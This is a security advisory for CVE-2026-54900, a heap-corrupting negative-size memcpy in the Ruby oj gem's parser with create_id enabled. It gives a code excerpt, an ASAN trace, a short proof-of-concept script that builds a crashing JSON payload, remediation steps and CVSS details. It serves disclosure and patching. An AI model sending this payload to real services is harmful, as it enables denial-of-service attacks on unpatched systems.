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CVE-2026-54900

HIGH

Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling

Published June 19, 2026Updated June 26, 2026Source: osv

Summary

### Summary `Oj::Parser#parse` in usual mode with `create_id` enabled is vulnerable to heap corruption via a negative-size `memcpy`. When a JSON object key is exactly 65,535 bytes long, an integer truncation in `form_attr` (`usual.c:63`) converts the length to `-1` before passing it to `memcpy`. This causes `memcpy` to copy `SIZE_MAX` bytes (interpreted as a huge `size_t`), corrupting heap memory and crashing the process. ### Version - **Software**: oj gem - **Affected**: all versions with `ext/oj/usual.c` - **Latest tested**: 3.17.1 (confirmed present) ### Details `ext/oj/usual.c`, `form_attr`: ```c // usual.c:55–64 static ID form_attr(const char *str, size_t slen) { char buf[4096]; // ... int blen = (int)slen + 1; // ← truncates: 65535 + 1 = 65536 → wraps to 0 // or: 65535 cast to int = 65535 (fits), // but blen = 65536 → INT overflow on +1 if slen=INT_MAX // ... memcpy(buf, "@", 1); memcpy(buf + 1, str, (size_t)blen); // ← size_t(-1) = SIZE_MAX } ``` The cache (`cache_intern`) uses a fixed 65,536-byte slab. When `slen = 65535`, the arithmetic wraps and `memcpy` is called with `(size_t)-1`. ASAN report: ``` ==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1) #0 memcpy #1 form_attr /ext/oj/usual.c:63 #2 cache_intern /ext/oj/cache.c:326 #3 get_attr_id /ext/oj/usual.c:186 #4 close_object_create /ext/oj/usual.c:374 #5 parse /ext/oj/parser.c:693 #6 parser_parse /ext/oj/parser.c:1408 0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800) ``` ### Reproduce Generate the payload: ```python key = 'A' * 65535 with open('poc.json', 'w') as f: f.write('{"json_class":"Oj::Bag","' + key + '":1}') ``` Trigger: ```ruby require 'oj' Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read) ```

Remediation

Upgrade to the fixed version using your package manager.

Bundler
Update oj to 3.17.3 or later
gem install oj -v 3.17.3

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
oj
rubygems
0.5, 0.5.1, 0.5.2, 0.6.0 (+290 more)3.17.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-54900?
Oj: Negative-Size memcpy in Oj::Parser create_id Attribute Handling This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2026-54900?
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Severity & Exploitability

CVSS Score
7.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-9cv6-qcjw-4grx

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